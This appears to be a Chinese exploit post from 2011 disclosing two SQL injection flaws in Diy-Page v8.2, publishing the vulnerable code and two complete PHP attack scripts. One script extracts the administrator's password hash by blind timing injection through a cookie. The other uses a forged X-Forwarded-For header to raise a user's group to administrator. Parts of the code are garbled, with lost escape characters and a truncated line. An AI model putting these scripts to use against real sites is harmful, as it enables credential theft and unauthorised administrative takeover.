【0day】Diy-Page v8.2 站群两个注入漏洞

存在位置：/mod/dpcms/js/buymanage.php：

include_once PATH_PRE.'lang/'.LANGPAK.'/fore.php';include_once PATH_PRE.'lang/'.LANGPAK.'/dpcms_fore.php';echo $uid=$_COOKIE['dp_uid'];$eid=intval($_GET['eid']);$dateformat= $d_mainset['mod_setting']['dpcms']['dateformat'] ? $d_mainset['mod_setting']['dpcms']['dateformat'] : 'Y-n-j H:i:s';$islog=$db->result($db->query('SELECT count(*) FROM '.DP_DBPREFIX.'user_list WHERE uid='.$uid.' AND password="'.$_COOKIE['dp_password'].'"'));

存在位置：/inc/func.php：

if (getenv('HTTP_CLIENT_IP') and strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) {  $onlineip=getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR') and strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')) {  $onlineip=getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('REMOTE_ADDR') and strcasecmp(getenv('REMOTE_ADDR'),'unknown')) {  $onlineip=getenv('REMOTE_ADDR'); }elseif (isset($_SERVER['REMOTE_ADDR']) and $_SERVER['REMOTE_ADDR'] and strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')) {  $onlineip=$_SERVER['REMOTE_ADDR']; } return preg_replace("/^([d.]+).*/","1",$onlineip);

EXP，延迟注入：

/**
*Diy-Page v8.2 Delay SQL Injection Exploit
*发布日期：2011-2-2
*发布作者：子仪
*作者博客：http://www.zyday.com
*漏洞版本：8.2
*官方地址：http://www.diypage.com
*/
session_start();
error_reporting(0);

if(isset($_GET['host'])&&isset($_GET['path'])){
        $host = $_GET['host'];
        $path = $_GET['path'];
        $i = $_GET['i']; //asc码的位数
        $j = $_GET['j']; //MD5的位数
       
        //当第一次执行时
        if(empty($j)){
                $i = 0;
                $j = 1;
                nextcrack();
        }
        echo "正在破解第{$j}位...
已破解密码:".$_SESSION[pass];
        $timeout = 2; //超时时间
        $password = pass();
        $time1 = gettime();//第一次执行时间
        send();
        $time2 = gettime();//第二次执行时间
        if($time2-$time1>$timeout && $j
                //破解成功 MD5位数+1
                //echo chr($password[$i]);exit;
                $_SESSION[pass].=chr($password[$i]);
                $i = 0;
                $j++;
                //sleep(1);//休息一会。。。
                nextcrack();
        }elseif($j==33){
                echo "
破解结束！";
                unset($_SESSION[pass]);
                session_destroy();
               
        }else{
                //啥？还没破解出来，继续
                if($i>23) $i=-1;
                $i++;
                nextcrack();
        }
}

//MD5的ASC码密码表
function pass(){
        //0-9 a-f A-F
        $pass = '48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,97,98,99,100,101,102';
        $pass_arr = explode(',',$pass);
        return $pass_arr;
}

//获取当前时间
function gettime(){
        $mtime = explode(' ',microtime());
        $starttime = $mtime[1]+$mtime[0];
        return $starttime;
}

function send(){
        global $host,$path,$i,$j,$password;
        $cmd = "domain=www.zyday.com";
    $data = "GET ".$path."/js.php?mod=dpcms&name=buymanage HTTP/1.1rn";
    $data .= "Accept: */*rn";
    $data .= "Accept-Language: zh-cnrn";
    $data .= "Content-Type: application/x-www-form-urlencodedrn";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
    $data .= "Host: $hostrn";
    $data .= "Content-Length: ".strlen($cmd)."rn";
        $data .= "Cookie: dp_uid=1 union select benchmark(1800000,md5(1111)) from dp_user_list where uid=1 and ord(substring(password,".$j.",1))=".$password[$i]."--rn";
    $data .= "Connection: Closernrn";
    $data .= $cmd;
       
        $fp = fsockopen($host, 80); 
       
        //无法连接到该域名
        if(!$fp){
    echo '[-]No response from'.$host;
    die;
        }

    fputs($fp, $data); 
        $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
        fclose($fp);
}

//破解下一个
function nextcrack(){
        global $host,$path,$i,$j;
        echo '';
}

?>

diy-page v8.2延迟注入EXP

注：此EXP的成功率与实际网络状况有关。如何提高延迟注入成功率？

getip() EXP：

/**
*Diy-Page v8.2 getip() remote SQL Injection Exploit
*发布日期：2011-2-2
*发布作者：子仪
*作者博客：http://www.zyday.com
*漏洞版本：8.2
*官方地址：http://www.diypage.com
*/
if (empty($_POST[submit])) {
       
}else{
        error_reporting(0);
        ini_set('max_execution_time', 0);
        $host = $_POST[host];
        $path = $_POST[path];
        $dpusername =  $_POST[dpusername];
        $dpuserpassword =  $_POST[dpuserpassword];
        $dpseccode = $_POST[dpseccode];
        send();
}

function send()
{
    global $host, $path,$dpusername,$dpuserpassword,$dpseccode;

    $cmd = "dpusername={$dpusername}&dpuserpassword={$dpuserpassword}&dpseccode={$dpseccode}&issubmit=1";
    $getinj='zyday1.1.1.1",gid=2 where username = ''.$dpusername.''#';
    $data = "POST ".$path."js.php?mod=dpuser&name=login HTTP/1.1rn";
    $data .= "Accept: */*rn";
    $data .= "Accept-Language: zh-cnrn";
    $data .= "Content-Type: application/x-www-form-urlencodedrn";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
    $data .= "Host: $hostrn";
    $data .= "Content-Length: ".strlen($cmd)."rn";
    $data .= "Connection: Closern";
    $data .= "X-Forwarded-For: $getinjrnrn";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

        echo $resp;
  
}

?>

如果显示成功登陆，则表示提权成功。去管理员后台登陆即可。